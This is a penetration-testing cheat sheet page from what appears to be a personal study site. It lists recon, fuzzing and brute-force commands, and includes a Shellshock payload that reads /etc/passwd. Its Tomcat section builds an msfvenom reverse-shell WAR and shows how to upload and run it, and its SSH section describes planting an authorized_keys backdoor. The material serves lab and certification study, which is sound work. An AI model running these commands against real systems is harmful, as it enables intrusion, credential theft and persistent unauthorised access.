Hacker Kayra
  • 📍Introduction Page
  • ⭐Learning Process
    • 🧠Learning Mindset
    • 🖇️Learning Dependencies
    • 🧮Learning Process
  • 🔠Fundamentals
    • 🛜Networking Fundamentals
    • 🐧Linux Fundamentals
    • 🪟Windows Fundamentals
    • 🕵️Active Directory
    • 🕸️Introduction to Web Applications
    • 🗃️Other Useful Concepts
      • Regular Expressions (RegEx)
    • Cyber Security Products
      • Lab Setup
      • ✅Fortigate Firewall
      • MDM Lab
      • IAM Lab
      • PAM Lab
      • DLP Lab
  • 🧰Tools
    • Nmap
    • Nessus
    • Ffuf
    • Hydra
    • John The Ripper
  • ✍️Write Ups
    • 🗃️Hack The Box Machines
      • 🐧Linux
        • Code
    • 🗃️Proving Grounds Boxes
      • 🐧Linux
        • Stapler
        • eLection
        • Loly
        • Blogger
        • Potato
        • Amaterasu
        • Exfiltrated
        • Pelican
        • Astronaut
        • Cockpit
        • Levram
        • Extplorer
        • LaVita
        • pc
        • Scrutiny
        • Zipper
        • Flu
        • Twiggy
        • Codo
        • Crane
        • Hub
        • BlackGate
        • Boolean
        • ClamAV
        • PayDay
        • Snookums
        • Bratarina
        • Nibbles
      • 🪟Windows
        • Algernon
        • AuthBy
        • Craft
        • Kevin
        • Squid
        • Jacko
        • DVR4
        • Hepet
        • Shenzi
        • Nickel
        • Slort
        • MedJed
        • Active Directory
          • Access
          • Vault
    • 🪪Certificates
      • Certified Professional Penetration Tester (eCPPTv3)
      • Web Application Penetration Tester eXtreme (eWPTXv3)
    • 🚩CTF Events
      • Cyber Hub 2025 CTF
  • 📚Study Notes
    • Penetration Tester (HTB CPTS)
      • Penetration Testing Process
      • Reconnaissance, Enumeration & Attack Planning
        • Network Enumeration with Nmap (Continue Here)
        • Footprinting (Just Do Formatting)
        • Vulnerability Scanning (Check)
        • File Transfers
        • Using the Metasploit Framework
        • Web Information Gathering
        • Shells & Payloads
      • Exploitation & Lateral Movement
        • Attacking Common Services (Just Do Formatting)
        • Password Attacks
        • Active Directory Enumeration & Attacks (TBC)
        • Pivoting, Tunneling, and Port Forwarding
      • Web Exploitation
        • Using Web Proxies (Check)
        • Attacking Web Applications With Ffuf (Check)
        • Login Bruteforcing
        • Cross-Site Scripting (XSS)
        • Command Injection
        • SQL Injection
        • File Upload Attacks
        • File Inclusion
        • Web Attacks (Check)
        • Attacking Common Applications (Check)
      • Post-Exploitation
        • Linux Privilege Escalation
        • Windows Privilege Escalation (TBC)
      • Documentation & Reporting
  • 🧑‍💻Other
    • Leet Code
      • Quick Guide: Big-O Notation
      • Problem 01 - Two Sum
    • Data Structure & Algorithms (DSA)
  • 🗄️Archive/Backup/Bin
    • Sysmon Usecases (IBM)
    • 🐧Linux Fundamentals (TryHackMe)
      • Introduction
      • Basic Commands
      • Wildcards & Operators
      • Permissions
      • Common Directories
      • Terminal Text Editors
      • General/Useful Utilities
    • 🪟Windows Fundamentals (TryHackMe)
      • Introduction
      • The File System
      • User Accounts
      • Settings & Control Panel & Task Manager
      • System Configuration
    • Active Directory (TryHackMe)
      • Breaching Active Directory
    • FOR508: Advanced Incident Response, Threat Hunting, and Digital Forensics
      • Book 2 - Intrusion Analysis
        • Credential Theft
        • Event Log Analysis for Responders and Hunters
    • Certified Threat Hunting Professional (eCTHPv2)
      • Threat Hunting: Hunting the Endpoint & Endpoint Analysis
        • Event IDs, Logging, & SIEMs
    • OSCP
      • Report Writing
      • ✅Passive Information Gathering
      • ✅Active Information Gathering
      • ✅Vulnerability Scanning
      • Introduction to Web Application Attacks
      • Common Web Application Attacks
        • ✅Cross-Site Scripting (XSS)
        • ✅Directory Traversal
        • ✅File Inclusion
        • ✅File Upload Vulnerabilities
        • Command Injection
        • SQL Injection Attacks
        • Client Side Attacks
      • ✅Locating Public Exploits
      • ✅Exploiting Walkthrough
      • Fixing Exploits
      • ✅Antivirus Evasion
      • Password Attacks
      • Windows Privilege Escalation
      • Linux Privilege Escalation
      • Port Redirection and SSH Tunneling
      • Tunneling Through Deep Packet Inspection
      • The Metasploit Framework
      • Active Directory Introduction & Enumeration
      • Attacking Active Directory Authentication
      • Lateral Movement in Active Directory
      • Assembling the Pieces
      • Other General Information
    • ⚡Port Swigger (Web Penetration Testing)
      • ✅Information Disclosure
      • ✅Path Traversal (Directory Traversal)
      • ✅OS Command Injection
      • Business Logic Vulnerabilities
      • ✅Authentication
      • ✅Access Control
    • Certified Bug Bounty Hunter (CBBH)
      • Web Requests
        • HTTP Fundamentals
    • Getting Started
      • Introduction
      • Pentesting Basics
    • Certified Penetration Testing Specialist (CPTS)
      • Introduction
        • ✅Penetration Testing Process
          • Penetration Testing Overview
          • Laws & Regulations
          • Penetration Testing Process
          • Pre-Engagement
          • Information Gathering
          • Vulnerability Assessment
          • Exploitation
          • Post-Exploitation
          • Lateral Movement
          • Proof-of-Concept
          • Post-Engagement
          • Practice
          • Academy Module Layout
        • Getting Started with Hack The Box (HTB)
      • Reconnaissance, Enumeration & Attack Planning
        • ✅Network Enumeration with Nmap
          • Enumeration & Introduction to Nmap
          • Host Discovery
          • Host and Port Scanning
          • Saving The Results
          • Service Enumeration
          • Nmap Scripting Engine
          • Scanning Performance
          • Firewall and IDS/IPS Evasion
        • Footprinting
        • ✅Information Gathering - Web Edition
          • Introduction
          • Passive Information Gathering
          • Active Information Gathering
        • Vulnerability Assessment
        • File Transfers
        • Shells & Payloads
        • Using the Metasploit Framework
      • Exploitation & Lateral Movement
        • Password Attacks
        • Attacking Common Services
        • Pivoting, Tunneling, and Port Forwarding
        • Active Directory Enumeration & Attacks
      • Web Exploitation
        • Using Web Proxies
        • ✅Attacking Web Applications with Ffuf
        • ✅Login Brute Forcing
        • SQL Injection Fundamentals
        • SQLMap Essentials
        • Cross-Site Scripting (XSS)
        • File Inclusion
        • File Upload Attacks
        • Command Injections
        • Web Attacks
        • Attacking Common Applications
      • Post-Exploitation
        • Linux Privilege Escalation
        • Windows Privilege Escalation
      • Reporting & Capstone
        • Documentation & Reporting
        • Attacking Enterprise Networks
    • Old Active Directory
    • Tib3rius Privilege Escalation
      • Linux Privilege Escalation
    • HTB Archived Write-Ups (Check)
      • Irked
      • Nibbles
      • Brainfuck
      • Lame (Check)
    • 📋Cheat Sheets
      • Penetration Testing Cheat Sheet (In Progress)
Powered by GitBook
On this page
  • 1. Reconnaissance
  • Network Scan
  • 2. Web Attacks
  • Web General Tips
  • Wordpress
  • Joomla
  • Drupal
  • Tomcat
  • 3. Network Protocls/Attacks (In Progress)
  • FTP - 21
  • SSH - 22
  • SMTP - 25
  • DNS - 53
  • POP3 - 110
  1. Archive/Backup/Bin
  2. Cheat Sheets

Penetration Testing Cheat Sheet (In Progress)

1. Reconnaissance

Network Scan

# -- Nmap Scans --
# If you are not getting results then use the -Pn flag (treat hosts as live).
sudo nmap -sn <IP>/<CIDR> # Scan for hosts in the network without port scan.
sudo nmap -sC -sV -O -oA <Name>.tcp <Target-IP-Address> -v # Scans the top tcp ports
sudo nmap -sU -oA <Name>.udp <Target-IP-Address> # Scans the top UDP ports
# After these are done run again but for all ports using the flag (-p-)
 
python3 autorecon.py <IP-Address> <Output-File> # Run auto recon to automate various enumeration steps

2. Web Attacks

Web General Tips

  • View source-code and identify any hidden content.

  • Check for robots.txt

  • Add hosts to /etc/hosts

  • Start fuzzing

  • Conduct vulnerability scanning using nikto

  • Check the SSL certificate for subdomains or usernames

  • If there is any login page then try default credentials or/and bruteforce it

  • If there is any file upload functionality then check where it's reflected

  • Check any input fields to injection attacks

  • If you found cgi-bin then fuzz further and try shellshock.

Sometimes you might be able to exploit a file upload vulnerability but then you don't have the permission to create a directory, in such cases, try using an existing directory.

Wordpress

  • Check /wp-content/uploads

  • Check the config file (wp-config.php)

  • Check if there are users to bruteforce

  • Run wp-scan

Joomla

  • Check if there are users to bruteforce

  • Run joomscan/droopescan/joomlavs

Drupal

  • Enumerate usersnames by testing on /user/register or /user/<Number>

  • Fuzz /node/<Number> to detect pages that might have not been noticed

  • If the version is less than 8 then you can inject PHP code

Tomcat

  • Try to access /manager/html from there you can upload war files (shell) However, the path is protected by basic http auth.

  • Try default credentials

  • Run a bruteforce attack

nikto -h <Target> # Target scanning using nikto.

# -- Fuff Fuzzing -- 
# Directory discovery
ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u http://<Target>/FUZZ/ -v

# Extension Fuzzing
ffuf -w /usr/share/seclists/Discovery/Web-Content/web-extensions.txt:FUZZ -u http://<Target>/indexFUZZ

# Page Fuzzing 
ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u http://<Target>/FUZZ.php

# Recursive Fuzzing
ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u http://<Target>/FUZZ -recursion -recursion-depth 1 -e .<Extension> -v

# Subdomain Fuzzing
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u https://FUZZ.<Target>/

# Vhost Fuzzing
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://<Target>/ -H 'Host: FUZZ.<Target>' -fs <Value-To-Exclude>

# GET Parameter Fuzzing
ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://<Target>?FUZZ=key -fs <Value-To-Exclude>

# POST Parameter Fuzzing
ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u <Target> -X POST -d 'FUZZ=key' -H 'Content-Type: application/x-www-form-urlencoded' -fs <Value-To-Exclude>

# POST Value Fuzzing 
ffuf -w <Wordlist>:FUZZ -u <Target> -X POST -d '<Parameter>=FUZZ' -H 'Content-Type: application/x-www-form-urlencoded' -fs <Value-To-Exclude>

# CGI Fuzzing
ffuf -w /usr/share/seclists/Discovery/Web-Content/CGI-XPlatform.fuzz.txt -u <Target>/ccgi-bin/FUZZ
ffuf -w /usr/share/seclists/Discovery/Web-Content/CGIs.txt -u <Target>/ccgi-bin/FUZZ
ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u <Target>/cgi-bin/FUZZ -e .sh,.pl,.cgi
# If a script is found then try: 
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" <Target>/cgi-bin/<Script>

# -- WordPress WPScan --
wpscan --url <Target> --enumerate u,ap,t -v -o <Target>.txt # Enumerate Scan

wpscan --url <Target> --passwords /usr/share/wordlists/rockyou.txt --usernames <Comma-Separated-Usernames> # Password Bruteforcing attack

eyewitness --web -x <Nmap-Output>.xml -d <Output-Directory> # Takes the output of nmap to produce a report with photos for each website.

cat <Nmap-Output>.xml | ./aquatone -nmap # Takes the output of nmap to produce a report with photos for each website.

# -- Joomla Commands --
droopescan scan joomla --url <Target> # Scan for Joomla vulnerabilities.
sudo python3 joomla-brute.py -u <Target> -w  -usr <Username> # Password Bruteforcing attack (https://github.com/ajnik/joomla-bruteforce)

joomscan -u <Target> # Scan for vulnerabilities.

# -- Drupal --
droopescan scan drupal -u <Target> # Scan for vulnerabilities.
wfuzz -c -z range,1-500 --hc 404 <Target>/node/FUZZ # Fuzz for pages

# -- Tomcat -- 
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP-Address> LPORT=<Port-Number> -f war > <Filename>.war # Generate a war shell to upload to Tomcat.
wget 'http://<Username>:<Password>@<Target>/manager/deploy?war=file:<Filename>&path=/shell' -O - # Uploads the shell for Tomcat6
curl -v -u <Username>:<Password> -T <Filename> 'http://<Target>/manager/text/deploy?path=/shellh&update=true' # Uploads the shell for Tomcat 7 and above.
curl http://<Target>/shell/ # Execute the shell.

# -- HTTP Bruteforce Attacks -- 
sudo hydra -l <Username> -P  <Target> http-post-form "<Login-URI>:<Username-Parameter-Name>=^USER^&<Password-Parameter-Name>=^PASS^:<Failed-Message>" -V

3. Network Protocls/Attacks (In Progress)

FTP - 21

  • Check for anonymous access

  • Download or upload files (config files, ssh keys, etc/passwd, etc.)

  • Bruteforce users

ftp <IP-Address> # Interact with the server
PASSIVE
BINARY
GET <File> # Download a file
PUT <File> # Upload a file

sudo hydra -l <Username> -P /usr/share/wordlists/rockyou.txt ftp://<IP-Address>

SSH - 22

  • Bruteforce users

  • Upload a key as a backdoor

ssh <Username>@<IP-Address> # Connect using username & password

ssh -i <SSH-Key> <User>@<IP-Address> # Connect using the key
chmod 600 <SSH-Key> # Permissions required for the key

sudo hydra -l <Username> -P /usr/share/wordlists/rockyou.txt ssh://<IP-Address> # Bruteforce attack

# -- Exploit using key as a backdoor -- 
ssh-keygen -f <Filename>
chmod 600 <Filename>
echo <Filename>.pub >> <Target>/.ssh/authorized_keys

SMTP - 25

  • Check for users

nc -nv <IP-Address> 25 # To detect the version

smtp-user-enum -M <Mode> -U <Users-Wordlist> -t <IP-Address> # Mode can be any of RCPT, VRFY, EXPN

DNS - 53

  • Try zone transfer

  • Enumerate the subdomains for more targets

sudo sh -c 'echo "<Server-IP> <Domain-Name>" >> /etc/hosts' # Add DNS entry to hosts

dnsenum <Domain>
dnsrecon -d <Domain> -a 

dig axfr <Domain> @<Name-Server>

POP3 - 110

  • Enumerate users

  • Bruteforce users

  • Read emails

# Steps to read an email
telnet <IP-Address> 110
USER <Username>
PASS <Password>
LIST
RETR <Mail-ID>
QUIT

hydra -l <Email-Address> -P /usr/share/wordlists/rockyou.txt pop3://<IP-Address> -t 10 # Bruteforce user

RPC - 135

SNMP - 161

LDAP - 389

SMB - 445

MSSQL - 1433

MYSQL - 3306

PreviousCheat Sheets

Last updated 2 months ago

🗄️
📋